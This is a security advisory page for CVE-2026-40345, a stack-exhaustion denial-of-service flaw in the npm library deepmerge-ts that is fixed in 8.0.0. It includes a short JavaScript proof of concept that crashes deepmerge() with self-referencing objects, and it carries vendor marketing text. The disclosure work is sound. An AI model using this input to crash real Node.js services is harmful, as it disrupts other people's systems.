Summary
DeepmergeTS has stack exhaustion when merging recursive object graphs
deepmerge() and deepmergeInto() can be crashed with a crafted recursive object graph. When both merged values contain self-references at the same property path, the library recurses until Node throws RangeError: Maximum call stack size exceeded.
Details
Record merging is implemented recursively. For each enumerable key, the library collects the values from every input object and immediately calls the same merge routine on that property.
There is no visited-object tracking, pair tracking, or cycle detection in that recursion. As a result, if two merged records both point back to themselves through the same key path, the merge logic keeps revisiting the same object pair forever.
This is reachable through the real public API:
deepmerge(...)deepmergeCustom(...)(...)deepmergeInto(target, ...)deepmergeIntoCustom(...)(target, ...)
The issue only occurs when recursive object graphs are supplied. Plain JSON alone does not create this condition.
PoC
import { deepmerge, deepmergeInto } from "deepmerge-ts";
const left = {};
left.self = left;
const right = {};
right.self = right;
try {
deepmerge(left, right);
} catch (error) {
console.log(error.name, error.message);
// Expected: the merge should reject or safely handle recursive input without exhausting the stack.
// Vulnerable behavior: RangeError Maximum call stack size exceeded
}
const target = {};
target.self = target;
const source = {};
source.self = source;
try {
deepmergeInto(target, source);
} catch (error) {
console.log(error.name, error.message);
// Expected: the merge should reject or safely handle recursive input without exhausting the stack.
// Vulnerable behavior: RangeError Maximum call stack size exceeded
}
Impact
Applications that pass attacker-controlled recursive object graphs into these APIs can be forced into a synchronous crash path. In Node.js services, that can terminate request handling for the affected process or trigger repeated worker restarts until the malicious input is blocked.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-40345? CVE-2026-40345 is a high-severity security vulnerability in deepmerge-ts (npm), affecting versions < 8.0.0. It is fixed in 8.0.0.
- Which versions of deepmerge-ts are affected by CVE-2026-40345? deepmerge-ts (npm) versions < 8.0.0 is affected.
- Is there a fix for CVE-2026-40345? Yes. CVE-2026-40345 is fixed in 8.0.0. Upgrade to this version or later.
- Is CVE-2026-40345 exploitable, and should I be worried? Whether CVE-2026-40345 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-40345 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-40345? Upgrade
deepmerge-tsto 8.0.0 or later.